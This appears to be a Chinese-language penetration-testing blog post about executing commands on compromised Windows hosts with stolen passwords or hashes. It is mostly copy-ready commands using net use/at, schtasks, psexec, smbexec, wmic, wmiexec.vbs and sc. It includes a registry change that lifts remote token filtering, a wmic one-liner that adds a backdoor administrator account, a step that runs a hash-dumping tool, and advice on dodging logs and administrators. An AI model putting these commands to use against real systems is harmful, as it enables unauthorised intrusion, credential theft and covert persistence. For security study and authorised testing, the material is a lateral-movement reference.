當我們已經獲取了遠程系統的憑證(明文密碼或 hash)時,可以直接通過3389遠程登錄進去收集信息、進行下一步的滲透,但是這樣做的話會在系統上留下我們的操作記錄,而且有可能邂逅管理員。大部分情況下,一個cmdshell 已經可以滿足我們繼續滲透的需求,所以不到萬不得已的時候最好不要遠程桌面連接(mstsc),而是通過遠程執行命令的方式繼續開展工作。本文整理了一些遠程執行命令的姿勢,測試環境如下:
遠程系統:
IP:192.168.17.138
用戶名:Administrator密碼:!@#123QWE所屬本地組:Administrators
用戶名:test密碼:!@#123QWE所屬本地組:Administrators、Users
關於 LocalAccountTokenFilterPolicy 的說明在 Windows Vista 以後的作業系統中,LocalAccountTokenFilterPolicy 的默認值為0,這種情況下內置帳戶Administrator 進行遠程連接時會直接得到具有管理員憑證的令牌,而非 Administrator 的本地管理員帳戶進行遠程連接(比如 ipc 連接、wmi 連接)時,會得到一個刪除了管理員憑證的令牌。域用戶不受此影響,也不在我們討論的範圍內。也就是說只有 Administrator 帳號才能建立需要管理員權限的遠程連接,其他本地管理員帳戶建立需要管理員權限的遠程連接時則會提示權限不足。可以通過以下方法修改遠程系統上LocalAccountTokenFilterPolicy 條目的值,使得非 Administrator 的本地管理員建立連接時也可以得到具有管理員憑證的令牌,即可正常通過各種方式遠程執行命令。
修改 LocalAccountTokenFilterPolicy 為1:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
恢復 LocalAccountTokenFilterPolicy 為0(刪除後需要重啟 explorer.exe 才能使修改生效)
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f
net use + at常用命令
建立一個 ipc 連接
net use \\192.168.17.138\C$ "!@#123QWE" /u:"workgroup\Administrator"
拷貝文件到遠程系統上
copy s.exe \\192.168.17.138\c$\RECYCLER\
查看遠程主機當前時間
net time \\192.168.17.138
添加計劃任務在遠程系統上執行命令
at \\192.168.17.138 15:18 cmd.exe /c "ipconfig /all > c:\programdata\error.log"
添加計劃任務在遠程系統上執行 bat 腳本
at \\192.168.17.138 15:18 c:\programdata\test.bat
查看 at 任務列表
at \\192.168.17.138
刪除 at 計劃任務,運行完成後一定要刪除計劃任務!
at \\192.168.17.138 1 /delete
查看所有 ipc 連接
net use
刪除指定 ipc 連接
net use \\192.168.17.138\C$ /del
刪除所有 ipc 連接(刪除前記得確認是否都是自己測試中建立的連接)
net use * /del /y
其它命令
映射遠程磁碟到本地
net use z: \\192.168.17.138\C$
刪除共享映射
net use z: /del
查看遠程主機開啟的默認共享
net view \\192.168.17.138
常見連接錯誤號原因分析
錯誤號 5,拒絕訪問:權限不足。管理員用戶遇到這個錯誤時,可參考 LocalAccountTokenFilterPolicy 解決
錯誤號 51,Windows 無法找到網絡路徑:網絡有問題;
錯誤號 53,找不到網絡路徑:ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啟動;目標有防火牆(埠過濾);
錯誤號 67,找不到網絡名:你的 lanmanworkstation 服務未啟動或者目標刪除了共享;
錯誤號 1219,提供的憑據與已存在的憑據集衝突:你已經和對方建立了一個 ipc 連接,請刪除再連;
錯誤號 1326,未知的用戶名或錯誤密碼:原因很明顯了;
錯誤號 1792,試圖登錄,但是網絡登錄服務沒有啟動:目標 NetLogon 服務未啟動;
錯誤號 2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。
工具說明
schtasks常用命令
在遠程系統建立計劃任務(計劃運行時會以 system 權限在遠程系統上執行單條命令)
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c netstat -ano | findstr 3389 >> c:\programdata\error.log" /ru system /f
在遠程系統建立計劃任務(計劃運行時會以 system 權限在遠程系統上執行 bat 腳本)
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat /ru system /f
在遠程系統建立計劃任務(計劃運行時會以管理員權限在遠程系統上執行單條命令),註:這條命令不支持 hash 注入後省去用戶名密碼執行
schtasks /create /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c whoami /all >> c:\programdata\error.log" /ru "workgroup\administrator"
查看建立的計劃任務是否正確
schtasks /query /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" | findstr test
運行建立的計劃任務
schtasks /run /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /i /tn "test"
刪除建立的計劃任務
schtasks /delete /s 192.168.17.138 /u workgroup\administrator /p "!@#123QWE" /tn "test" /f
工具說明
psexec常用命令
獲取管理員用戶權限的交互式 shell
psexec \\192.168.17.138 -u Administrator -p !@#123QWE cmd
獲取普通用戶權限的交互式 shell,原因參見 LocalAccountTokenFilterPolicy,要想獲取管理員權限 shell ,需要添加 -h 參數。
psexec \\192.168.17.138 -u test -p !@#123QWE cmd
在遠程系統上以 system 權限執行單條命令,有時回顯只有一行,原因尚不清楚。
psexec \\192.168.17.138 -u Administrator -p !@#123QWE -s cmd /c "quser"
在遠程系統上執行 bat 腳本
psexec \\192.168.17.138 -u Administrator -p !@#123QWE c:\programdata\test.bat
拷貝文件到遠程機器並以交互方式運行,運行結束後會刪除
psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe
其它參數
–accepteula 第一次運行會彈框,輸入這個參數便不會彈框
-s 以 「nt authority\system」 權限運行遠程進程
-h 如果可以,以管理員權限運行遠程進程
-d 不等待程序執行完就返回,請只對非交互式應用程式使用此選項
\ip 可以替換成 @ip.txt (存放多個 ip 的文本),可以批量執行命令
工具說明
smbexecsmbexec 是基於 psexec 修改的程序,加入了參數來指定默認共享,可以在目標為開啟 admin$ 共享但開了其它共享時使用。
常用命令
建立 ipc 連接(參見net use + at)後,上傳 execserver.exe 到遠程系統上
copy execserver.exe \\192.168.17.138\c$\windows
在遠程系統上執行單條命令(以管理員權限執行命令)
test.exe 192.168.17.138 Administrator !@#123QWE "whoami /all" c$
在遠程系統上執行單條命令(以刪除了管理員權限的普通用戶權限執行命令,原因參見LocalAccountTokenFilterPolicy)
test.exe 192.168.17.138 test !@#123QWE "whoami /all" c$
在遠程系統上執行 bat 腳本(以管理員權限執行命令)
test.exe 192.168.17.138 Administrator !@#123QWE c:\programdata\test.bat ipc$
刪除遠程系統上的 execserver.exe
del \\192.168.17.138\c$\windows\execserver.exe
工具說明
wmicWMI 的全稱是 Windows Management Instrumentation,它出現在所有的 Windows 作業系統中,並由一組強大的工具集合組成,用於管理本地或遠程的 Windows 系統,攻擊者使用 wmi 來進行攻擊,但 Windows 系統默認不會在日誌中記錄這些操作,可以做到無日誌,攻擊腳本無需寫入到磁碟,增加了隱蔽性。推薦使用 wmic 進行遠程執行命令。
常用命令
在遠程系統上執行 bat 腳本
wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create c:\programdata\test.bat
在遠程系統上執行單條命令
wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
工具說明
需要遠程系統啟動 Windows Management Instrumentation 服務,開放135埠
遠程系統的本地安全策略的「網絡訪問: 本地帳戶的共享和安全模式」應設為「經典-本地用戶以自己的身份驗證」
wmic 會以管理員權限在遠程系統上執行命令
防火牆開啟將無法連接
如果報錯 "Invalid Global Switch" ,用雙引號把包含-的結點括起來即可正常執行。
wmiexecWMI 可以遠程執行命令,大牛使用VBS腳本調用WMI來模擬 psexec 的功能,於是乎 WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也能夠使用。
常用命令
獲取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 test !@#123QWE
在遠程系統上執行單條命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE "cmdkey /list"
在遠程系統上執行 bat 腳本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE c:\programdata\test.bat
其它參數
-wait5000 表示這個命令等待5s後再讀取結果,用於運行「運行時間長」的命令。
-persist 程序會在後臺運行,不會有結果輸出,而且會返回這個命令進程的 PID,方便結束進程,用於運行 nc 或者木馬程序。
下面這段代碼在腳本的一開始,是控制結果文件路徑、文件名、以及默認代碼執行時間的,可以自行更改。
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
工具說明
需要遠程系統啟動 Windows Management Instrumentation 服務,開放135埠
遠程系統的本地安全策略的「網絡訪問: 本地帳戶的共享和安全模式」應設為「經典-本地用戶以自己的身份驗證」
wmicexec.vbs 會以管理員權限在遠程系統上執行命令
virustotal 顯示 wmiexec.vbs 會被 Kaspersky、Symantec 和 ZoneAlarm 查殺。
sc常用命令
建立 ipc 連接(參見net use + at)後上傳等待運行的 bat 腳本到目標系統上,創建服務(開啟服務時會以system 權限在遠程系統上執行 bat 腳本)
sc \\192.168.17.138 create test binpath= "cmd.exe /c start c:\programdata\test.bat"
開啟服務,運行其它命令可以直接修改 bat 腳本內容
sc \\192.168.17.138 start test
刪除服務
sc \\192.168.17.138 delete test
總結當工具沒有回顯(at、wmic、sc、schtasks)的時候可以將命令執行結果重定向到文件,然後使用 type 來查看命令執行結果。如果執行的命令比較複雜,比如命令中包含雙引號,可以將命令寫成 bat 腳本拷貝到遠程系統上,然後遠程執行 bat 腳本。經測試,at、schtasks、psexec、wmic、wmiexec 和 sc 均支持 hash 注入後使用,在沒有明文密碼的情況下,可以 hash 注入後運行命令(去除命令中的用戶名、密碼參數)實現遠程執行。
本文列出了常見遠程執行命令的方法和技巧,我們使用的時候需要根據具體環境進行選擇最合適的執行方式。小弟不才,如果文中有錯誤或者疏漏,希望各位表哥可以指出,萬分感謝。歡迎大家來一起討論遠程執行命令的方式和技巧。
參考資料丟掉 PSEXEC 來橫向滲透
https://www.anquanke.com/post/id/84938
在遠程系統上執行程序的技術整理
http://static.hx99.net/static/drops/tips-7358.html
域滲透前置知識
https://www.cnblogs.com/mujj/articles/4623409.html